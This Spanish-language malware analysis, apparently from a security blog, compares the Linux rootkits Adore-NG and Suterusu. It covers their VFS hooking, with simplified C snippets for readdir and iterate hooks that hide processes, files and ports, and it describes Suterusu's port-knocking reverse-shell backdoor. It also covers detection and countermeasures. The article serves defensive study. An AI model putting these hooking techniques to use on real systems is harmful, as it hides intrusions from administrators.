Suterusu y Adore-NG: Rootkits Linux con VFS Hooking en Lugar de Syscall Table
Analisis tecnico de Adore-NG y Suterusu, rootkits LKM Linux que usan VFS hooking en vez de syscall table. Comparativa tecnica, deteccion y evolucion historica.
La alternativa al syscall table hooking
Cuando se habla de rootkits LKM en Linux, la tecnica mas conocida es el hooking de la syscall table: localizar sys_call_table en memoria, deshabilitar la proteccion de escritura y reemplazar punteros de syscalls como getdents64 o kill. Diamorphine es el ejemplo canonico de este enfoque.
Pero existe una segunda linea tecnica, menos documentada y con ventajas significativas: el hooking del Virtual File System (VFS). Adore-NG (2004) fue el primer rootkit LKM en popularizar esta tecnica, y Suterusu (2013) la modernizo para kernels 3.x. Ambos son piezas clave en la evolucion de los rootkits Linux.
Adore-NG: el pionero del VFS hooking (2004)
Adore-NG fue desarrollado por Sebastian Krahmer (alias Stealth) como evolucion de su rootkit anterior Adore (1999). Mientras que Adore original usaba hooking de syscall table clasico, Adore-NG introdujo un cambio de paradigma: hookear las operaciones del Virtual File System en lugar de la tabla de syscalls.
El problema con la syscall table
En el contexto de 2004, localizar sys_call_table ya era un problema creciente:
- Kernels 2.6.x dejaron de exportar el simbolo. Ya no se podia obtener la direccion con un simple
extern. - Tecnicas de busqueda en memoria eran fragiles. Escanear
/boot/System.mapo recorrer memoria buscando patrones era dependiente de la version exacta del kernel. - KASLR (futuro). Aunque aun no existia en 2004, la tendencia era clara: el kernel iba a dificultar localizar estructuras internas.
Stealth identifico que no necesitaba interceptar la syscall completa. Solo necesitaba controlar lo que las herramientas de usuario veian al listar directorios.
Arquitectura VFS de Linux
El VFS es la capa de abstraccion que Linux interpone entre las syscalls de usuario y los sistemas de ficheros concretos (ext4, procfs, tmpfs). Cada directorio abierto tiene asociada una estructura file_operations con punteros a funciones:
struct file_operations {
// ... otros campos ...
int (*readdir)(struct file *, void *, filldir_t); // Objetivo de Adore-NG
// ... mas operaciones
};
Cuando ls o ps listan un directorio, la cadena es: getdents64 (syscall) -> VFS layer -> file_operations.readdir del filesystem concreto. Adore-NG intercepta en el segundo paso, no en el primero.
El hook de readdir en Adore-NG
Adore-NG reemplaza el puntero readdir (y la funcion callback filldir) en las file_operations de los directorios que quiere controlar:
static int adore_ng_init(void)
{
struct file *filep;
// Abrir /proc para obtener sus file_operations
filep = filp_open("/proc", O_RDONLY | O_DIRECTORY, 0);
// Guardar puntero original y crear copia con nuestro readdir
orig_proc_readdir = filep->f_op->readdir;
memcpy(&fake_proc_fops, filep->f_op, sizeof(struct file_operations));
fake_proc_fops.readdir = adore_proc_readdir;
// Reemplazar el puntero en la estructura del filesystem
filep->f_op = &fake_proc_fops;
filp_close(filep, NULL);
// Repetir para / (root filesystem) para ocultar ficheros
return 0;
}
La funcion adore_proc_readdir invoca a la original pero interpone un filldir modificado que filtra las entradas de procesos ocultos:
static int adore_proc_filldir(void *buf, const char *name, int namelen,
loff_t offset, u64 ino, unsigned d_type)
{
// Si es un PID que queremos ocultar, simplemente no lo pasamos
if (is_hidden_pid(simple_strtoul(name, NULL, 10)))
return 0; // Entrada filtrada, invisible para userspace
// Entrada normal: pasar al filldir original
return orig_proc_filldir(buf, name, namelen, offset, ino, d_type);
}
Funcionalidades de Adore-NG
| Capacidad | Implementacion |
|---|---|
| Ocultar procesos | Hook readdir en /proc, filtrar PIDs en filldir |
| Ocultar ficheros | Hook readdir en /, filtrar por nombre |
| Ocultar el modulo | list_del de la lista de modulos del kernel |
| Escalada de privilegios | Interfaz via fichero especial en /proc |
| Control remoto | No incluido (a diferencia de Adore original) |
Limitaciones y obsolescencia
Adore-NG quedo obsoleto con kernels 3.11+ (2013), cuando la interfaz readdir en file_operations fue reemplazada por iterate y posteriormente iterate_shared:
// Kernel 2.6.x - 3.10
struct file_operations {
int (*readdir)(struct file *, void *, filldir_t);
};
// Kernel 3.11+
struct file_operations {
int (*iterate)(struct file *, struct dir_context *);
};
// Kernel 4.7+
struct file_operations {
int (*iterate_shared)(struct file *, struct dir_context *);
};
Este cambio de API rompio la compatibilidad de Adore-NG. El repositorio dejo de actualizarse y la tecnica necesitaba adaptacion para kernels modernos.
Suterusu: el sucesor modernizado (2013)
Suterusu aparecio en 2013 como un rootkit LKM que retomo la tecnica de VFS hooking de Adore-NG y la adapto para kernels 3.x. El nombre proviene del japones (ステルス, suterusu), transliteracion de "stealth".
Modernizacion del VFS hooking
Suterusu adapto el hooking para la nueva interfaz iterate de kernels 3.11+:
// Hook de iterate en Suterusu (kernels 3.x)
static int suterusu_iterate(struct file *filp, struct dir_context *ctx)
{
int ret;
struct dir_context suterusu_ctx = {
.actor = suterusu_filldir, // Nuestro filldir modificado
.pos = ctx->pos
};
// Llamar al iterate original con nuestro contexto
ret = orig_iterate(filp, &suterusu_ctx);
// Actualizar la posicion en el contexto original
ctx->pos = suterusu_ctx.pos;
return ret;
}
static bool suterusu_filldir(struct dir_context *ctx, const char *name,
int namelen, loff_t offset, u64 ino,
unsigned d_type)
{
// Filtrar ficheros ocultos (por prefijo configurable)
if (is_hidden_file(name, namelen))
return true; // Indica exito pero no propaga la entrada
// Filtrar PIDs ocultos en /proc
if (is_hidden_pid(name))
return true;
// Entrada visible: invocar el filldir/actor original
return orig_filldir(ctx, name, namelen, offset, ino, d_type);
}
Funcionalidades extendidas
Suterusu fue mas alla de la ocultacion basica de Adore-NG. Incorporo capacidades de red y control remoto:
Ocultacion de conexiones de red (netfilter hooks):
// Suterusu hookea netfilter para ocultar conexiones
static unsigned int suterusu_nf_hook(void *priv, struct sk_buff *skb,
const struct nf_hook_state *state)
{
struct iphdr *iph = ip_hdr(skb);
struct tcphdr *tcph;
if (iph->protocol == IPPROTO_TCP) {
tcph = tcp_hdr(skb);
// Si el puerto origen o destino esta en la lista oculta
if (is_hidden_port(ntohs(tcph->source)) ||
is_hidden_port(ntohs(tcph->dest)))
{
// El paquete se procesa pero se oculta de /proc/net/tcp
mark_connection_hidden(iph, tcph);
}
}
return NF_ACCEPT;
}
Ademas, Suterusu hookea la lectura de /proc/net/tcp y /proc/net/tcp6 para filtrar las conexiones marcadas como ocultas. Esto impide que herramientas como netstat o ss muestren las conexiones del backdoor.
Backdoor con port knocking:
Suterusu incluye un mecanismo de port knocking que activa una reverse shell al recibir una secuencia especifica de paquetes SYN a puertos predefinidos. El netfilter hook monitoriza paquetes SYN entrantes, mantiene un indice de la secuencia esperada (por ejemplo, puertos 1234, 5678, 9012) y al completarse activa un work_struct que lanza la reverse shell. Si un paquete no coincide con el siguiente puerto esperado, el indice se resetea.
Tabla comparativa de funcionalidades
| Capacidad | Adore-NG (2004) | Suterusu (2013) |
|---|---|---|
| VFS hooking | readdir/filldir | iterate/iterate_shared |
| Ocultar procesos | Si | Si |
| Ocultar ficheros | Si | Si |
| Ocultar modulo | Si | Si |
| Ocultar conexiones red | No | Si (netfilter + /proc/net/tcp) |
| Backdoor de red | No | Si (port knocking + reverse shell) |
| Escalada de privilegios | Si | Si |
| Kernels soportados | 2.2 - 3.10 | 3.0 - 3.x |
| Mantenimiento | Abandonado (2004) | Abandonado (~2014) |
Syscall hooking vs VFS hooking: comparativa tecnica
La diferencia fundamental entre ambos enfoques es donde se intercepta la cadena de llamadas:
Userspace: ls /proc
|
Syscall: getdents64() <- Diamorphine hookea aqui
|
VFS layer: iterate_shared() <- Adore-NG / Suterusu hookean aqui
|
Filesystem: proc_readdir()
|
Kernel data: task_struct list
Ventajas del VFS hooking
- No necesita localizar sys_call_table. El principal obstaculo tecnico de los rootkits syscall (encontrar la direccion en memoria) desaparece. Se obtiene el puntero abriendo el directorio con
filp_open. - Compatible con kernel hardening. CONFIG_X86_X32_ABI, restricciones de kprobes y proteccion de la syscall table no afectan al VFS hooking.
- Menor superficie de deteccion en la syscall table. Herramientas que verifican la integridad de sys_call_table no detectan hooks VFS.
- Granularidad por directorio. Se puede hookear solo
/proc(para ocultar procesos) sin afectar al resto del filesystem, o hookear/para ocultar ficheros en directorios especificos.
Desventajas del VFS hooking
- Solo afecta enumeracion basada en filesystem. Si una herramienta accede directamente a APIs del kernel (por ejemplo, recorriendo la lista de
task_structdesde un modulo del kernel), el hook VFS no la intercepta. - Multiples puntos de hook. Hay que hookear cada filesystem relevante por separado (procfs, ext4, tmpfs). Un hook de syscall table intercepta todas las llamadas independientemente del filesystem.
- Cambios de API del kernel. La interfaz VFS cambio de
readdiraiterateaiterate_shared, rompiendo compatibilidad. La syscall table es mas estable. - No intercepta otras syscalls. VFS hooking cubre
getdents/getdents64, pero nokill,stat,openu otras. Los rootkits VFS necesitan mecanismos separados para escalada de privilegios o control remoto.
Evolucion de tecnicas de rootkit en Linux
La historia de los rootkits LKM en Linux muestra una progresion tecnica continua, impulsada por las defensas del kernel:
| Periodo | Rootkit | Tecnica principal | Innovacion |
|---|---|---|---|
| 1997 | Heroin | Syscall table hooking | Primer LKM rootkit documentado |
| 1999 | Knark | Syscall table hooking | Ocultacion de ficheros + procesos + red |
| 1999 | Adore | Syscall table hooking | Interfaz de control via /proc |
| 2004 | Adore-NG | VFS hooking | Primera alternativa a syscall table |
| 2008-2012 | Varios | DKOM directo | Manipulacion de listas enlazadas del kernel |
| 2013 | Suterusu | VFS hooking + netfilter | VFS modernizado + red |
| 2013 | Diamorphine | Syscall table hooking | Minimalismo, compatibilidad 2.6-6.x |
| 2015 | Reptile | VFS + syscall hibrido | Backdoor cifrado + persistencia avanzada |
| 2020+ | Varios | eBPF rootkits | Hooks legitimos del kernel como vector |
La tendencia actual apunta hacia rootkits basados en eBPF, que usan mecanismos legitimos del kernel para interceptar eventos sin necesidad de hookear tablas ni estructuras VFS. Herramientas como bpf_override_return permiten modificar el comportamiento de funciones del kernel de forma que es dificil distinguir de uso legitimo.
Deteccion de rootkits VFS
Verificacion de punteros file_operations
La deteccion mas directa consiste en comparar los punteros de file_operations de directorios criticos (/proc, /, /sys) contra los valores esperados. Consultando /proc/kallsyms se pueden localizar los simbolos proc_root_operations, iterate e iterate_shared. Si los punteros apuntan fuera del rango de direcciones del kernel (seccion .text), es evidencia de hook VFS.
Herramientas de deteccion
| Herramienta | Capacidad contra VFS hooks | Notas |
|---|---|---|
| rkhunter | Parcial. Detecta variantes conocidas por firma | No verifica punteros VFS directamente |
| chkrootkit | Parcial. Comparacion de procesos visible vs real | Efectivo si el rootkit no cubre todos los caminos |
| Volatility | Alta. Analisis forense de memoria con perfil del kernel | Puede comparar punteros VFS contra simbolos conocidos |
| Tracee (eBPF) | Alta. Monitoriza a nivel de tracepoint | Detecta discrepancias entre lo que el kernel procesa y lo que retorna |
| LKRG | Alta. Verifica integridad de estructuras del kernel en runtime | Detecta modificaciones de file_operations |
Linux Kernel Runtime Guard (LKRG)
LKRG es particularmente efectivo contra rootkits VFS porque monitoriza la integridad de estructuras del kernel en tiempo real, incluyendo file_operations de filesystems criticos. Cuando detecta que un puntero ha sido modificado, genera una alerta y opcionalmente puede matar el proceso responsable.
Analisis forense con Volatility
Para analisis post-incidente, Volatility (plugin linux_check_fop) examina el volcado de memoria y compara cada puntero de funcion en las estructuras file_operations contra la tabla de simbolos del kernel. Los punteros que apuntan fuera del rango de .text son anomalos.
Mapeo MITRE ATT&CK
| Tecnica | ID | Uso en Adore-NG / Suterusu |
|---|---|---|
| Rootkit | T1014 | Categoria principal. LKM que oculta artefactos via VFS hooking |
| Kernel Modules and Extensions | T1547.006 | Se cargan como modulos del kernel con insmod |
| Hooking | T1574.013 | Reemplazan punteros en file_operations (VFS) en lugar de syscall table |
| Hide Artifacts | T1564 | Ocultan procesos, ficheros y el propio modulo |
| Network Service Discovery (evasion) | T1046 | Suterusu oculta conexiones de red via netfilter hooks |
| Traffic Signaling | T1205 | Suterusu usa port knocking para activar backdoor |
| Access Token Manipulation | T1134 | Escalada de privilegios via modificacion de credenciales del kernel |
Contramedidas recomendadas
- Restringir carga de modulos del kernel.
kernel.modules_disabled=1en sysctl tras el boot. Module signing conCONFIG_MODULE_SIG_FORCEpara aceptar solo modulos firmados. - Desplegar LKRG. Linux Kernel Runtime Guard verifica la integridad de estructuras del kernel (incluyendo file_operations) en tiempo real.
- Monitorizar con eBPF. Tracee y Falco detectan discrepancias entre lo que el kernel procesa internamente y lo que las herramientas de usuario reciben.
- Verificar integridad de file_operations. Scripts periodicos que comparen los punteros de file_operations de
/proc,/y/syscontra los valores esperados del kernel en ejecucion. - Secure Boot + Lockdown mode. El kernel lockdown mode (Linux 5.4+) impide la carga de modulos no firmados y restringe el acceso a estructuras del kernel.
- Auditar conexiones de red. Comparar la salida de
ss(userspace) con los contadores de netfilter y la informacion de/proc/net/tcpleida desde un modulo del kernel de confianza.
Fuentes y referencias
- Stealth (Sebastian Krahmer): Adore-NG, rootkit LKM con VFS hooking (2004)
- mncoppola/suterusu (repositorio original, GitHub)
- Linux kernel source:
include/linux/fs.h(definicion de file_operations) - Jonathan Corbet: "The VFS layer" (LWN.net, documentacion tecnica del Virtual File System)
- MITRE ATT&CK: T1014 Rootkit, T1547.006 Kernel Modules and Extensions, T1205 Traffic Signaling
- LKRG (Linux Kernel Runtime Guard): verificacion de integridad de estructuras del kernel
- Volatility Foundation: plugin linux_check_fop para analisis forense de file_operations
- Aqua Security Tracee: deteccion de rootkits via eBPF tracepoints
Articulo con fines exclusivamente defensivos. El analisis de rootkits permite a equipos de seguridad mejorar sus capacidades de deteccion y respuesta. MalwareIntel no proporciona binarios, payloads ni instrucciones de despliegue ofensivo.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.